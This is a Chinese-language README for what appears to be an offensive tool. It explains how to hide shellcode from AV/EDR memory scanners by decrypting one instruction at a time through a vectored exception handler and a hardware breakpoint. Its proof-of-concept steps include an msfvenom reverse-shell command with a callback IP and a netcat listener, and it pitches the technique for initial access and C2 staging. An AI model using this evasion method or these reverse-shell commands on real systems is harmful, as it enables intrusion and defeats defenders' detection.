
一种可用于绕过 AV/EDR 内存扫描器的技术。通过执行对单个加密汇编指令的即时解密,可以用来隐藏众所周知且已被检测的 shellcode(如 msfvenom),从而使内存扫描器对该特定内存页失效。
该技术将创建一个PAGE_EXECUTE_READWRITE内存区域,用于存储加密的汇编指令。shellcode 周围会包裹一些填充字节。程序将在 shellcode 的入口点设置一个硬件断点(HWBP)。
接下来,程序将安装一个向量化异常处理程序(VEH)。该 VEH 基本上就像一个调试器,对代码进行单步执行,针对 VEH 接收到的每个SINGLE STEP异常读取指令指针寄存器(RIP),并解密 RIP 所指向的下一个 16 字节(x64 汇编指令的最大长度)。VEH 还会将之前已解密的指令重新加密,确保除了当前正在执行的这一条汇编指令外,其余 shellcode 始终保持加密状态。之后,它将继续执行,并在 Eflags 寄存器上配置TRAP FLAG。这将确保下一条汇编指令也会触发 VEH 能够处理的断点异常。
安装 VEH 后,主线程的执行将被重定向到payload 入口点。当 HWBP 在入口点被触发时,VEH 会在每条已执行的汇编指令处停下,解密下一条汇编指令,并重新加密上一条已保存为全局变量的指令。
通过这种方式,基本上一次只解密一条汇编指令,其余payload 始终保持加密状态。
注意:该技术非常适合使用基础 shellcode(如 msfvenom 或自定义反向 shell)获取初始访问权限。它也可以用作初始的 stage 1 payload,从 C2 服务器下载其余 payload。
注意:该技术并非与所有 payload 兼容(例如反射加载器)。以下是当前局限性列表:
VEH会针对 shellcode 中执行的每条汇编指令触发,shellcode 的执行速度将急剧减慢。CPU 每执行一条汇编指令,VEH 至少要额外执行 300 条 ASM 指令来完成解密、加密以及恢复主线程执行。如果给定的 shellcode 为追求更小体积而牺牲性能(如 msfvenom),payload 执行速度将更慢。执行一个 MSFVENOM 可能需要超过 15 秒(取决于 CPU)。这是因为 msfvenom 使用的特定 shellcode 牺牲了性能以换取更小的 payload 体积。NtCreateThread或其在 Kernelbase.dll 中的任何包装函数,且入口点位于 shellcode 内部,则 payload 将无法工作,因为 VEH 不会为该线程执行触发,原因是新建线程的入口点未安装 HWBP。(正在进行中——将在本仓库中进一步实现)值/变量(例如,包含原始字符串"powershell.exe",并通过偏移量在 WinExec WINAPI 调用中引用它),或者某些数字保存在某个偏移位置,并且 shellcode 之后会在某处尝试加载或引用它,则程序将无法工作,因为该特定变量或字符串会被加密,而 VEH 不会对其进行解密。如果 shellcode 通过汇编指令将此类参数压栈(例如push 0x4141414141414141将"AAAAAAAA"压入栈中,以便在函数调用中使用),则此技术将可以工作。(正在进行中——将在本仓库中进一步实现)如何复现 POC:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.100.33 LPORT=443 -f raw > shell.asm
./XorEncryptPayload.exe C:\Path\to\shell.asm
nc -nvlp 443

本仓库仅供学术用途,使用此软件的风险由你自己承担。